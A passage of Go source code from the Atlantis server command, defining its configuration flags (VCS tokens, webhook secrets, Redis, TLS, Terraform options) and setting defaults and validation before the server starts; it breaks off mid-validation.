attacker could spoof calls to Atlantis and cause it to perform malicious actions. \" +\n\t\t\t\"Should be specified via the ATLANTIS_BITBUCKET_WEBHOOK_SECRET environment variable.\",\n\t},\n\tCheckoutStrategyFlag: {\n\t\tdescription: \"How to check out pull requests. Accepts either 'branch' (default) or 'merge'.\" +\n\t\t\t\" If set to branch, Atlantis will check out the source branch of the pull request.\" +\n\t\t\t\" If set to merge, Atlantis will check out the destination branch of the pull request (ex. main, master)\" +\n\t\t\t\" and then locally perform a git merge of the source branch.\" +\n\t\t\t\" This effectively means Atlantis operates on the repo as it will look\" +\n\t\t\t\" after the pull request is merged.\",\n\t\tdefaultValue: \"branch\",\n\t},\n\tConfigFlag: {\n\t\tdescription: \"Path to yaml config file where flag values can also be set.\",\n\t},\n\tDataDirFlag: {\n\t\tdescription:  \"Path to directory to store Atlantis data.\",\n\t\tdefaultValue: DefaultDataDir,\n\t},\n\tDisableAutoplanLabelFlag: {\n\t\tdescription:  \"Pull request label to disable atlantis auto planning feature only if present.\",\n\t\tdefaultValue: \"\",\n\t},\n\tDisableUnlockLabelFlag: {\n\t\tdescription:  \"Pull request label to disable atlantis unlock feature only if present.\",\n\t\tdefaultValue: \"\",\n\t},\n\tEmojiReaction: {\n\t\tdescription:  \"Emoji Reaction to use to react to comments.\",\n\t\tdefaultValue: DefaultEmojiReaction,\n\t},\n\tExecutableName: {\n\t\tdescription:  \"Comment command executable name.\",\n\t\tdefaultValue: DefaultExecutableName,\n\t},\n\tGHHostnameFlag: {\n\t\tdescription:  \"Hostname of your Github Enterprise installation. If using github.com, no need to set.\",\n\t\tdefaultValue: DefaultGHHostname,\n\t},\n\tGHTeamAllowlistFlag: {\n\t\tdescription: \"Comma separated list of key-value pairs representing the GitHub teams and the operations that \" +\n\t\t\t\"the members of a particular team are allowed to perform. \" +\n\t\t\t\"The format is {team}:{command},{team}:{command}. \" +\n\t\t\t\"Valid values for 'command' are 'plan', 'apply' and '*', e.g. 'dev:plan,ops:apply,devops:*'\" +\n\t\t\t\"This example gives the users from the 'dev' GitHub team the permissions to execute the 'plan' command, \" +\n\t\t\t\"the 'ops' team the permissions to execute the 'apply' command, \" +\n\t\t\t\"and allows the 'devops' team to perform any operation. If this argument is not provided, the default value (*:*) \" +\n\t\t\t\"will be used and the default behavior will be to not check permissions \" +\n\t\t\t\"and to allow users from any team to perform any operation.\",\n\t},\n\tGHUserFlag: {\n\t\tdescription:  \"GitHub username of API user.\",\n\t\tdefaultValue: \"\",\n\t},\n\tGHTokenFlag: {\n\t\tdescription: \"GitHub token of API user. Can also be specified via the ATLANTIS_GH_TOKEN environment variable.\",\n\t},\n\tGHTokenFileFlag: {\n\t\tdescription: \"A path to a file containing the GitHub token of API user. Can also be specified via the ATLANTIS_GH_TOKEN_FILE environment variable.\",\n\t},\n\tGHAppKeyFlag: {\n\t\tdescription:  \"The GitHub App's private key\",\n\t\tdefaultValue: \"\",\n\t},\n\tGHAppKeyFileFlag: {\n\t\tdescription:  \"A path to a file containing the GitHub App's private key\",\n\t\tdefaultValue: \"\",\n\t},\n\tGHAppSlugFlag: {\n\t\tdescription: \"The Github app slug (ie. the URL-friendly name of your GitHub App)\",\n\t},\n\tGHOrganizationFlag: {\n\t\tdescription:  \"The name of the GitHub organization to use during the creation of a Github App for Atlantis\",\n\t\tdefaultValue: \"\",\n\t},\n\tGHWebhookSecretFlag: {\n\t\tdescription: \"Secret used to validate GitHub webhooks (see https://developer.github.com/webhooks/securing/).\" +\n\t\t\t\" SECURITY WARNING: If not specified, Atlantis won't be able to validate that the incoming webhook call came from GitHub. \" +\n\t\t\t\"This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. \" +\n\t\t\t\"Should be specified via the ATLANTIS_GH_WEBHOOK_SECRET environment variable.\",\n\t},\n\tGiteaBaseURLFlag: {\n\t\tdescription: \"Base URL of Gitea server installation. Must include 'http://' or 'https://'.\",\n\t},\n\tGiteaUserFlag: {\n\t\tdescription:  \"Gitea username of API user.\",\n\t\tdefaultValue: \"\",\n\t},\n\tGiteaTokenFlag: {\n\t\tdescription: \"Gitea token of API user. Can also be specified via the ATLANTIS_GITEA_TOKEN environment variable.\",\n\t},\n\tGiteaWebhookSecretFlag: {\n\t\tdescription: \"Optional secret used to validate Gitea webhooks.\" +\n\t\t\t\" SECURITY WARNING: If not specified, Atlantis won't be able to validate that the incoming webhook call came from Gitea. \" +\n\t\t\t\"This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. \" +\n\t\t\t\"Should be specified via the ATLANTIS_GITEA_WEBHOOK_SECRET environment variable.\",\n\t},\n\tGitlabGroupAllowlistFlag: {\n\t\tdescription: \"Comma separated list of key-value pairs representing the GitLab groups and the operations that \" +\n\t\t\t\"the members of a particular group are allowed to perform. \" +\n\t\t\t\"The format is {group}:{command},{group}:{command}. \" +\n\t\t\t\"Valid values for 'command' are 'plan', 'apply' and '*', e.g. 'myorg/dev:plan,myorg/ops:apply,myorg/devops:*'\" +\n\t\t\t\"This example gives the users from the 'myorg/dev' GitLab group the permissions to execute the 'plan' command, \" +\n\t\t\t\"the 'myorg/ops' group the permissions to execute the 'apply' command, \" +\n\t\t\t\"and allows the 'myorg/devops' group to perform any operation. If this argument is not provided, the default value (*:*) \" +\n\t\t\t\"will be used and the default behavior will be to not check permissions \" +\n\t\t\t\"and to allow users from any group to perform any operation.\",\n\t},\n\tGitlabHostnameFlag: {\n\t\tdescription:  \"Hostname of your GitLab Enterprise installation. If using gitlab.com, no need to set.\",\n\t\tdefaultValue: DefaultGitlabHostname,\n\t},\n\tGitlabUserFlag: {\n\t\tdescription: \"GitLab username of API user.\",\n\t},\n\tGitlabTokenFlag: {\n\t\tdescription: \"GitLab token of API user. Can also be specified via the ATLANTIS_GITLAB_TOKEN environment variable.\",\n\t},\n\tGitlabWebhookSecretFlag: {\n\t\tdescription: \"Optional secret used to validate GitLab webhooks.\" +\n\t\t\t\" SECURITY WARNING: If not specified, Atlantis won't be able to validate that the incoming webhook call came from GitLab. \" +\n\t\t\t\"This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. \" +\n\t\t\t\"Should be specified via the ATLANTIS_GITLAB_WEBHOOK_SECRET environment variable.\",\n\t},\n\tAPISecretFlag: {\n\t\tdescription: \"Secret used to validate requests made to the /api/* endpoints\",\n\t},\n\tLockingDBType: {\n\t\tdescription:  \"The locking database type to use for storing plan and apply locks.\",\n\t\tdefaultValue: DefaultLockingDBType,\n\t},\n\tLogLevelFlag: {\n\t\tdescription:  \"Log level. Either debug, info, warn, or error.\",\n\t\tdefaultValue: DefaultLogLevel,\n\t},\n\tMarkdownTemplateOverridesDirFlag: {\n\t\tdescription:  \"Directory for custom overrides to the markdown templates used for comments.\",\n\t\tdefaultValue: DefaultMarkdownTemplateOverridesDir,\n\t},\n\tStatsNamespace: {\n\t\tdescription:  \"Namespace for aggregating stats.\",\n\t\tdefaultValue: DefaultStatsNamespace,\n\t},\n\tRedisHost: {\n\t\tdescription: \"The Redis Hostname for when using a Locking DB type of 'redis'.\",\n\t},\n\tRedisPassword: {\n\t\tdescription: \"The Redis Password for when using a Locking DB type of 'redis'.\",\n\t},\n\tRepoConfigFlag: {\n\t\tdescription: \"Path to a repo config file, used to customize how Atlantis runs on each repo. See runatlantis.io/docs for more details.\",\n\t},\n\tRepoConfigJSONFlag: {\n\t\tdescription: \"Specify repo config as a JSON string. Useful if you don't want to write a config file to disk.\",\n\t},\n\tRepoAllowlistFlag: {\n\t\tdescription: \"Comma separated list of repositories that Atlantis will operate on. \" +\n\t\t\t\"The format is {hostname}/{owner}/{repo}, ex. github.com/runatlantis/atlantis. '*' matches any characters until the next comma. Examples: \" +\n\t\t\t\"all repos: '*' (not secure), an entire hostname: 'internalgithub.com/*' or an organization: 'github.com/runatlantis/*'.\" +\n\t\t\t\" For Bitbucket Server, {owner} is the name of the project (not the key).\",\n\t},\n\tSlackTokenFlag: {\n\t\tdescription: \"API token for Slack notifications.\",\n\t},\n\tSSLCertFileFlag: {\n\t\tdescription: \"File containing x509 Certificate used for serving HTTPS. If the cert is signed by a CA, the file should be the concatenation of the server's certificate, any intermediates, and the CA's certificate.\",\n\t},\n\tSSLKeyFileFlag: {\n\t\tdescription: fmt.Sprintf(\"File containing x509 private key matching --%s.\", SSLCertFileFlag),\n\t},\n\tTFDistributionFlag: {\n\t\tdescription: \"[Deprecated for --default-tf-distribution].\",\n\t\thidden:      true,\n\t},\n\tTFDownloadURLFlag: {\n\t\tdescription:  \"Base URL to download Terraform versions from.\",\n\t\tdefaultValue: DefaultTFDownloadURL,\n\t},\n\tTFEHostnameFlag: {\n\t\tdescription:  \"Hostname of your Terraform Enterprise installation. If using Terraform Cloud no need to set.\",\n\t\tdefaultValue: DefaultTFEHostname,\n\t},\n\tTFETokenFlag: {\n\t\tdescription: \"API token for Terraform Cloud/Enterprise. This will be used to generate a ~/.terraformrc file.\" +\n\t\t\t\" Only set if using TFC/E as a remote backend.\" +\n\t\t\t\" Should be specified via the ATLANTIS_TFE_TOKEN environment variable for security.\",\n\t},\n\tDefaultTFDistributionFlag: {\n\t\tdescription:  fmt.Sprintf(\"Which TF distribution to use. Can be set to %s or %s.\", TFDistributionTerraform, TFDistributionOpenTofu),\n\t\tdefaultValue: DefaultTFDistribution,\n\t},\n\tDefaultTFVersionFlag: {\n\t\tdescription: \"Terraform version to default to (ex. v0.12.0). Will download if not yet on disk.\" +\n\t\t\t\" If not set, Atlantis uses the terraform binary in its PATH.\",\n\t},\n\tVarFileAllowlistFlag: {\n\t\tdescription: \"Comma-separated list of additional paths where variable definition files can be read from.\" +\n\t\t\t\" If this argument is not provided, it defaults to Atlantis' data directory, determined by the --data-dir argument.\",\n\t},\n\tIgnoreVCSStatusNames: {\n\t\tdescription: \"Comma separated list of VCS status names from other atlantis services.\" +\n\t\t\t\" When `gh-allow-mergeable-bypass-apply` is true, will ignore status checks (e.g. `status1/plan`, `status1/apply`, `status2/plan`, `status2/apply`) from other Atlantis services when checking if the PR is mergeable.\" +\n\t\t\t\" Currently only implemented for GitHub.\",\n\t\tdefaultValue: DefaultIgnoreVCSStatusNames,\n\t},\n\tVCSStatusName: {\n\t\tdescription:  \"Name used to identify Atlantis for pull request statuses.\",\n\t\tdefaultValue: DefaultVCSStatusName,\n\t},\n\tWebhookHttpHeaders: {\n\t\tdescription: \"Additional headers added to each HTTP POST payload when using HTTP webhooks provided as a JSON string.\" +\n\t\t\t\" The map key is the header name and the value is the header value (string) or values (array of string).\" +\n\t\t\t\" For example: `{\\\"Authorization\\\":\\\"Bearer some-token\\\",\\\"X-Custom-Header\\\":[\\\"value1\\\",\\\"value2\\\"]}`.\",\n\t\tdefaultValue: \"\",\n\t},\n\tWebUsernameFlag: {\n\t\tdescription:  \"Username used for Web Basic Authentication on Atlantis HTTP Middleware\",\n\t\tdefaultValue: DefaultWebUsername,\n\t},\n\tWebPasswordFlag: {\n\t\tdescription:  \"Password used for Web Basic Authentication on Atlantis HTTP Middleware\",\n\t\tdefaultValue: DefaultWebPassword,\n\t},\n}\n\nvar boolFlags = map[string]boolFlag{\n\tAllowForkPRsFlag: {\n\t\tdescription:  \"Allow Atlantis to run on pull requests from forks. A security issue for public repos.\",\n\t\tdefaultValue: false,\n\t},\n\tAutoplanModules: {\n\t\tdescription:  \"Automatically plan projects that have a changed module from the local repository.\",\n\t\tdefaultValue: false,\n\t},\n\tAutomergeFlag: {\n\t\tdescription:  \"Automatically merge pull requests when all plans are successfully applied.\",\n\t\tdefaultValue: false,\n\t},\n\tDisableApplyAllFlag: {\n\t\tdescription:  \"Disable \\\"atlantis apply\\\" command without any flags (i.e. apply all). A specific project/workspace/directory has to be specified for applies.\",\n\t\tdefaultValue: false,\n\t},\n\tDisableAutoplanFlag: {\n\t\tdescription:  \"Disable atlantis auto planning feature\",\n\t\tdefaultValue: false,\n\t},\n\n\tDisableRepoLockingFlag: {\n\t\tdescription: \"Disable atlantis locking repos\",\n\t},\n\tDisableGlobalApplyLockFlag: {\n\t\tdescription: \"Disable atlantis global apply lock in UI\",\n\t},\n\tDiscardApprovalOnPlanFlag: {\n\t\tdescription:  \"Enables the discarding of approval if a new plan has been executed. Currently only Github is supported\",\n\t\tdefaultValue: false,\n\t},\n\tEnablePolicyChecksFlag: {\n\t\tdescription:  \"Enable atlantis to run user defined policy checks.  This is explicitly disabled for TFE/TFC backends since plan files are inaccessible.\",\n\t\tdefaultValue: false,\n\t},\n\tEnableRegExpCmdFlag: {\n\t\tdescription:  \"Enable Atlantis to use regular expressions on plan/apply commands when \\\"-p\\\" flag is passed with it.\",\n\t\tdefaultValue: false,\n\t},\n\tEnableProfilingAPI: {\n\t\tdescription:  \"Enable net/http/pprof routes in server for continuous profiling.\",\n\t\tdefaultValue: false,\n\t},\n\tEnableDiffMarkdownFormat: {\n\t\tdescription:  \"Enable Atlantis to format Terraform plan output into a markdown-diff friendly format for color-coding purposes.\",\n\t\tdefaultValue: false,\n\t},\n\tFailOnPreWorkflowHookError: {\n\t\tdescription:  \"Fail and do not run the requested Atlantis command if any of the pre workflow hooks error.\",\n\t\tdefaultValue: false,\n\t},\n\tGHAllowMergeableBypassApply: {\n\t\tdescription:  \"Feature flag to enable functionality to allow mergeable check to ignore apply required check\",\n\t\tdefaultValue: false,\n\t},\n\tGitlabStatusRetryEnabledFlag: {\n\t\tdescription:  \"Enable enhanced retry logic for GitLab pipeline status updates with exponential backoff.\",\n\t\tdefaultValue: false,\n\t},\n\tAllowDraftPRs: {\n\t\tdescription:  \"Enable autoplan for Github Draft Pull Requests\",\n\t\tdefaultValue: false,\n\t},\n\tHidePrevPlanComments: {\n\t\tdescription: \"Hide previous plan comments to reduce clutter in the PR. \" +\n\t\t\t\"VCS support is limited to: GitHub.\",\n\t\tdefaultValue: false,\n\t},\n\tIncludeGitUntrackedFiles: {\n\t\tdescription:  \"Include git untracked files in the Atlantis modified file scope.\",\n\t\tdefaultValue: false,\n\t},\n\tParallelPlanFlag: {\n\t\tdescription:  \"Run plan operations in parallel.\",\n\t\tdefaultValue: false,\n\t},\n\tParallelApplyFlag: {\n\t\tdescription:  \"Run apply operations in parallel.\",\n\t\tdefaultValue: false,\n\t},\n\tPendingApplyStatusFlag: {\n\t\tdescription:  \"Set apply job status as pending when there are planned changes that haven't been applied yet. Currently only supported for GitLab.\",\n\t\tdefaultValue: false,\n\t},\n\tQuietPolicyChecks: {\n\t\tdescription:  \"Exclude policy check comments from pull requests unless there's an actual error from conftest. This also excludes warnings.\",\n\t\tdefaultValue: false,\n\t},\n\tRedisTLSEnabled: {\n\t\tdescription:  \"Enable TLS on the connection to Redis with a min TLS version of 1.2\",\n\t\tdefaultValue: DefaultRedisTLSEnabled,\n\t},\n\tRedisInsecureSkipVerify: {\n\t\tdescription:  \"Controls whether the Redis client verifies the Redis server's certificate chain and host name. If true, accepts any certificate presented by the server and any host name in that certificate.\",\n\t\tdefaultValue: DefaultRedisInsecureSkipVerify,\n\t},\n\tSilenceNoProjectsFlag: {\n\t\tdescription:  \"Silences Atlants from responding to PRs when it finds no projects.\",\n\t\tdefaultValue: false,\n\t},\n\tSilenceForkPRErrorsFlag: {\n\t\tdescription:  \"Silences the posting of fork pull requests not allowed error comments.\",\n\t\tdefaultValue: false,\n\t},\n\tSilenceVCSStatusNoPlans: {\n\t\tdescription:  \"Silences VCS commit status when autoplan finds no projects to plan.\",\n\t\tdefaultValue: false,\n\t},\n\tSilenceVCSStatusNoProjectsFlag: {\n\t\tdescription:  \"Silences VCS commit status when for all commands when a project is not defined.\",\n\t\tdefaultValue: false,\n\t},\n\tSilenceAllowlistErrorsFlag: {\n\t\tdescription:  \"Silences the posting of allowlist error comments.\",\n\t\tdefaultValue: false,\n\t},\n\tDisableMarkdownFoldingFlag: {\n\t\tdescription:  \"Toggle off folding in markdown output.\",\n\t\tdefaultValue: false,\n\t},\n\tWriteGitCredsFlag: {\n\t\tdescription: \"Write out a .git-credentials file with the provider user and token to allow cloning private modules over HTTPS or SSH.\" +\n\t\t\t\" This writes secrets to disk and should only be enabled in a secure environment.\",\n\t\tdefaultValue: false,\n\t},\n\tSkipCloneNoChanges: {\n\t\tdescription:  \"Skips cloning the PR repo if there are no projects were changed in the PR.\",\n\t\tdefaultValue: false,\n\t},\n\tTFDownloadFlag: {\n\t\tdescription:  \"Allow Atlantis to list & download Terraform versions. Setting this to false can be helpful in air-gapped environments.\",\n\t\tdefaultValue: DefaultTFDownload,\n\t},\n\tTFELocalExecutionModeFlag: {\n\t\tdescription:  \"Enable if you're using local execution mode (instead of TFE/C's remote execution mode).\",\n\t\tdefaultValue: false,\n\t},\n\tWebBasicAuthFlag: {\n\t\tdescription:  \"Switches on or off the Basic Authentication on the HTTP Middleware interface\",\n\t\tdefaultValue: DefaultWebBasicAuth,\n\t},\n\tRestrictFileList: {\n\t\tdescription:  \"Block plan requests from projects outside the files modified in the pull request.\",\n\t\tdefaultValue: false,\n\t},\n\tWebsocketCheckOrigin: {\n\t\tdescription:  \"Enable websocket origin check\",\n\t\tdefaultValue: false,\n\t},\n\tHideUnchangedPlanComments: {\n\t\tdescription:  \"Remove no-changes plan comments from the pull request.\",\n\t\tdefaultValue: false,\n\t},\n\tUseTFPluginCache: {\n\t\tdescription:  \"Enable the use of the Terraform plugin cache\",\n\t\tdefaultValue: true,\n\t},\n}\nvar intFlags = map[string]intFlag{\n\tCheckoutDepthFlag: {\n\t\tdescription: fmt.Sprintf(\"Used only if --%s=%s.\", CheckoutStrategyFlag, CheckoutStrategyMerge) +\n\t\t\t\" How many commits to include in each of base and feature branches when cloning repository.\" +\n\t\t\t\" If merge base is further behind than this number of commits from any of branches heads, full fetch will be performed.\",\n\t\tdefaultValue: DefaultCheckoutDepth,\n\t},\n\tMaxCommentsPerCommand: {\n\t\tdescription:  \"If non-zero, the maximum number of comments to split command output into before truncating.\",\n\t\tdefaultValue: DefaultMaxCommentsPerCommand,\n\t},\n\tGiteaPageSizeFlag: {\n\t\tdescription:  \"Optional value that specifies the number of results per page to expect from Gitea.\",\n\t\tdefaultValue: DefaultGiteaPageSize,\n\t},\n\tParallelPoolSize: {\n\t\tdescription:  \"Max size of the wait group that runs parallel plans and applies (if enabled).\",\n\t\tdefaultValue: DefaultParallelPoolSize,\n\t},\n\tPortFlag: {\n\t\tdescription:  \"Port to bind to.\",\n\t\tdefaultValue: DefaultPort,\n\t},\n\tRedisDB: {\n\t\tdescription:  \"The Redis Database to use when using a Locking DB type of 'redis'.\",\n\t\tdefaultValue: DefaultRedisDB,\n\t},\n\tRedisPort: {\n\t\tdescription:  \"The Redis Port for when using a Locking DB type of 'redis'.\",\n\t\tdefaultValue: DefaultRedisPort,\n\t},\n}\n\nvar int64Flags = map[string]int64Flag{\n\tGHAppIDFlag: {\n\t\tdescription:  \"GitHub App Id. If defined, initializes the GitHub client with app-based credentials\",\n\t\tdefaultValue: 0,\n\t},\n\tGHAppInstallationIDFlag: {\n\t\tdescription: \"GitHub App Installation Id. If defined, initializes the GitHub client with app-based credentials \" +\n\t\t\t\"using this specific GitHub Application Installation ID, otherwise it attempts to auto-detect it. \" +\n\t\t\t\"Note that this value must be set if you want to have one App and multiple installations of that same \" +\n\t\t\t\"application.\",\n\t\tdefaultValue: 0,\n\t},\n}\n\n// ValidLogLevels are the valid log levels that can be set\nvar ValidLogLevels = []string{\"debug\", \"info\", \"warn\", \"error\"}\n\ntype stringFlag struct {\n\tdescription  string\n\tdefaultValue string\n\thidden       bool\n}\ntype intFlag struct {\n\tdescription  string\n\tdefaultValue int\n\thidden       bool\n}\ntype int64Flag struct {\n\tdescription  string\n\tdefaultValue int64\n\thidden       bool\n}\ntype boolFlag struct {\n\tdescription  string\n\tdefaultValue bool\n\thidden       bool\n}\n\n// ServerCmd is an abstraction that helps us test. It allows\n// us to mock out starting the actual server.\ntype ServerCmd struct {\n\tServerCreator ServerCreator\n\tViper         *viper.Viper\n\t// SilenceOutput set to true means nothing gets printed.\n\t// Useful for testing to keep the logs clean.\n\tSilenceOutput   bool\n\tAtlantisVersion string\n\tLogger          logging.SimpleLogging\n}\n\n// ServerCreator creates servers.\n// It's an abstraction to help us test.\ntype ServerCreator interface {\n\tNewServer(userConfig server.UserConfig, config server.Config) (ServerStarter, error)\n}\n\n// DefaultServerCreator is the concrete implementation of ServerCreator.\ntype DefaultServerCreator struct{}\n\n// ServerStarter is for starting up a server.\n// It's an abstraction to help us test.\ntype ServerStarter interface {\n\tStart() error\n}\n\n// NewServer returns the real Atlantis server object.\nfunc (d *DefaultServerCreator) NewServer(userConfig server.UserConfig, config server.Config) (ServerStarter, error) {\n\treturn server.NewServer(userConfig, config)\n}\n\n// Init returns the runnable cobra command.\nfunc (s *ServerCmd) Init() *cobra.Command {\n\tc := &cobra.Command{\n\t\tUse:           \"server\",\n\t\tShort:         \"Start the atlantis server\",\n\t\tLong:          `Start the atlantis server and listen for webhook calls.`,\n\t\tSilenceErrors: true,\n\t\tSilenceUsage:  true,\n\t\tPreRunE: s.withErrPrint(func(cmd *cobra.Command, args []string) error {\n\t\t\treturn s.preRun()\n\t\t}),\n\t\tRunE: s.withErrPrint(func(cmd *cobra.Command, args []string) error {\n\t\t\treturn s.run()\n\t\t}),\n\t}\n\n\t// Configure viper to accept env vars prefixed with ATLANTIS_ that can be\n\t// used instead of flags.\n\ts.Viper.SetEnvPrefix(\"ATLANTIS\")\n\ts.Viper.SetEnvKeyReplacer(strings.NewReplacer(\"-\", \"_\"))\n\ts.Viper.AutomaticEnv()\n\ts.Viper.SetTypeByDefaultValue(true)\n\n\tc.SetUsageTemplate(usageTmpl(stringFlags, intFlags, boolFlags))\n\t// If a user passes in an invalid flag, tell them what the flag was.\n\tc.SetFlagErrorFunc(func(_ *cobra.Command, err error) error {\n\t\ts.printErr(err)\n\t\treturn err\n\t})\n\n\t// Set string flags.\n\tfor name, f := range stringFlags {\n\t\tusage := f.description\n\t\tif f.defaultValue != \"\" {\n\t\t\tusage = fmt.Sprintf(\"%s (default %q)\", usage, f.defaultValue)\n\t\t}\n\t\tc.Flags().String(name, \"\", usage+\"\\n\")\n\t\ts.Viper.BindPFlag(name, c.Flags().Lookup(name)) // nolint: errcheck\n\t\tif f.hidden {\n\t\t\tc.Flags().MarkHidden(name) // nolint: errcheck\n\t\t}\n\t}\n\n\t// Set int flags.\n\tfor name, f := range intFlags {\n\t\tusage := f.description\n\t\tif f.defaultValue != 0 {\n\t\t\tusage = fmt.Sprintf(\"%s (default %d)\", usage, f.defaultValue)\n\t\t}\n\t\tc.Flags().Int(name, 0, usage+\"\\n\")\n\t\tif f.hidden {\n\t\t\tc.Flags().MarkHidden(name) // nolint: errcheck\n\t\t}\n\t\ts.Viper.BindPFlag(name, c.Flags().Lookup(name)) // nolint: errcheck\n\t}\n\n\t// Set int64 flags.\n\tfor name, f := range int64Flags {\n\t\tusage := f.description\n\t\tif f.defaultValue != 0 {\n\t\t\tusage = fmt.Sprintf(\"%s (default %d)\", usage, f.defaultValue)\n\t\t}\n\t\tc.Flags().Int(name, 0, usage+\"\\n\")\n\t\tif f.hidden {\n\t\t\tc.Flags().MarkHidden(name) // nolint: errcheck\n\t\t}\n\t\ts.Viper.BindPFlag(name, c.Flags().Lookup(name)) // nolint: errcheck\n\t}\n\n\t// Set bool flags.\n\tfor name, f := range boolFlags {\n\t\tc.Flags().Bool(name, f.defaultValue, f.description+\"\\n\")\n\t\tif f.hidden {\n\t\t\tc.Flags().MarkHidden(name) // nolint: errcheck\n\t\t}\n\t\ts.Viper.BindPFlag(name, c.Flags().Lookup(name)) // nolint: errcheck\n\t}\n\n\treturn c\n}\n\nfunc (s *ServerCmd) preRun() error {\n\t// If passed a config file then try and load it.\n\tconfigFile := s.Viper.GetString(ConfigFlag)\n\tif configFile != \"\" {\n\t\ts.Viper.SetConfigFile(configFile)\n\t\tif err := s.Viper.ReadInConfig(); err != nil {\n\t\t\treturn fmt.Errorf(\"invalid config: reading %s: %w\", configFile, err)\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (s *ServerCmd) run() error {\n\tvar userConfig server.UserConfig\n\tif err := s.Viper.Unmarshal(&userConfig); err != nil {\n\t\treturn err\n\t}\n\ts.setDefaults(&userConfig, s.Viper)\n\n\t// Now that we've parsed the config we can set our local logger to the\n\t// right level.\n\ts.Logger.SetLevel(userConfig.ToLogLevel())\n\n\tif err := s.validate(userConfig); err != nil {\n\t\treturn err\n\t}\n\tif err := s.setAtlantisURL(&userConfig); err != nil {\n\t\treturn err\n\t}\n\tif err := s.setDataDir(&userConfig); err != nil {\n\t\treturn err\n\t}\n\tif err := s.setMarkdownTemplateOverridesDir(&userConfig); err != nil {\n\t\treturn err\n\t}\n\ts.setVarFileAllowlist(&userConfig)\n\tif err := s.deprecationWarnings(&userConfig); err != nil {\n\t\treturn err\n\t}\n\ts.securityWarnings(&userConfig)\n\ts.trimAtSymbolFromUsers(&userConfig)\n\n\t// Config looks good. Start the server.\n\tserver, err := s.ServerCreator.NewServer(userConfig, server.Config{\n\t\tAllowForkPRsFlag:          AllowForkPRsFlag,\n\t\tAtlantisURLFlag:           AtlantisURLFlag,\n\t\tAtlantisVersion:           s.AtlantisVersion,\n\t\tDefaultTFDistributionFlag: DefaultTFDistributionFlag,\n\t\tDefaultTFVersionFlag:      DefaultTFVersionFlag,\n\t\tRepoConfigJSONFlag:        RepoConfigJSONFlag,\n\t\tSilenceForkPRErrorsFlag:   SilenceForkPRErrorsFlag,\n\t})\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"initializing server: %w\", err)\n\t}\n\treturn server.Start()\n}\n\nfunc (s *ServerCmd) setDefaults(c *server.UserConfig, v *viper.Viper) {\n\tif c.AzureDevOpsHostname == \"\" {\n\t\tc.AzureDevOpsHostname = DefaultADHostname\n\t}\n\tif c.AutoplanFileList == \"\" {\n\t\tc.AutoplanFileList = DefaultAutoplanFileList\n\t}\n\tif c.CheckoutDepth <= 0 {\n\t\tc.CheckoutDepth = DefaultCheckoutDepth\n\t}\n\tif c.AllowCommands == \"\" {\n\t\tc.AllowCommands = DefaultAllowCommands\n\t}\n\tif c.CheckoutStrategy == \"\" {\n\t\tc.CheckoutStrategy = DefaultCheckoutStrategy\n\t}\n\tif c.DataDir == \"\" {\n\t\tc.DataDir = DefaultDataDir\n\t}\n\tif c.GithubHostname == \"\" {\n\t\tc.GithubHostname = DefaultGHHostname\n\t}\n\tif c.GitlabHostname == \"\" {\n\t\tc.GitlabHostname = DefaultGitlabHostname\n\t}\n\tif c.GiteaBaseURL == \"\" {\n\t\tc.GiteaBaseURL = DefaultGiteaBaseURL\n\t}\n\tif c.GiteaPageSize == 0 {\n\t\tc.GiteaPageSize = DefaultGiteaPageSize\n\t}\n\tif c.BitbucketBaseURL == \"\" {\n\t\tc.BitbucketBaseURL = DefaultBitbucketBaseURL\n\t}\n\tif c.EmojiReaction == \"\" {\n\t\tc.EmojiReaction = DefaultEmojiReaction\n\t}\n\tif c.ExecutableName == \"\" {\n\t\tc.ExecutableName = DefaultExecutableName\n\t}\n\tif c.LockingDBType == \"\" {\n\t\tc.LockingDBType = DefaultLockingDBType\n\t}\n\tif c.LogLevel == \"\" {\n\t\tc.LogLevel = DefaultLogLevel\n\t}\n\tif c.MarkdownTemplateOverridesDir == \"\" {\n\t\tc.MarkdownTemplateOverridesDir = DefaultMarkdownTemplateOverridesDir\n\t}\n\tif !v.IsSet(\"max-comments-per-command\") {\n\t\tc.MaxCommentsPerCommand = DefaultMaxCommentsPerCommand\n\t}\n\tif c.ParallelPoolSize == 0 {\n\t\tc.ParallelPoolSize = DefaultParallelPoolSize\n\t}\n\tif c.StatsNamespace == \"\" {\n\t\tc.StatsNamespace = DefaultStatsNamespace\n\t}\n\tif c.Port == 0 {\n\t\tc.Port = DefaultPort\n\t}\n\tif c.RedisDB == 0 {\n\t\tc.RedisDB = DefaultRedisDB\n\t}\n\tif c.RedisPort == 0 {\n\t\tc.RedisPort = DefaultRedisPort\n\t}\n\tif c.TFDistribution != \"\" && c.DefaultTFDistribution == \"\" {\n\t\tc.DefaultTFDistribution = c.TFDistribution\n\t}\n\tif c.DefaultTFDistribution == \"\" {\n\t\tc.DefaultTFDistribution = DefaultTFDistribution\n\t}\n\tif c.TFDownloadURL == \"\" {\n\t\tc.TFDownloadURL = DefaultTFDownloadURL\n\t}\n\tif c.VCSStatusName == \"\" {\n\t\tc.VCSStatusName = DefaultVCSStatusName\n\t}\n\tif c.IgnoreVCSStatusNames == \"\" {\n\t\tc.IgnoreVCSStatusNames = DefaultIgnoreVCSStatusNames\n\t}\n\tif c.TFEHostname == \"\" {\n\t\tc.TFEHostname = DefaultTFEHostname\n\t}\n\tif c.WebUsername == \"\" {\n\t\tc.WebUsername = DefaultWebUsername\n\t}\n\tif c.WebPassword == \"\" {\n\t\tc.WebPassword = DefaultWebPassword\n\t}\n\tif c.AutoDiscoverModeFlag == \"\" {\n\t\tc.AutoDiscoverModeFlag = DefaultAutoDiscoverMode\n\t}\n}\n\nfunc (s *ServerCmd) validate(userConfig server.UserConfig) error {\n\tuserConfig.LogLevel = strings.ToLower(userConfig.LogLevel)\n\tif !isValidLogLevel(userConfig.LogLevel) {\n\t\treturn fmt.Errorf(\"invalid log level: must be one of %v\", ValidLogLevels)\n\t}\n\n\tif userConfig.DefaultTFDistribution != TFDistributionTerraform && userConfig.DefaultTFDistribution != TFDistributionOpenTofu {\n\t\treturn fmt.Errorf(\"invalid tf distribution: expected one of %s or %s\",\n\t\t\tTFDistributionTerraform, TFDistributionOpenTofu)\n\t}\n\n\tcheckoutStrategy := userConfig.CheckoutStrategy\n\tif checkoutStrategy != CheckoutStrategyBranch && checkoutStrategy != 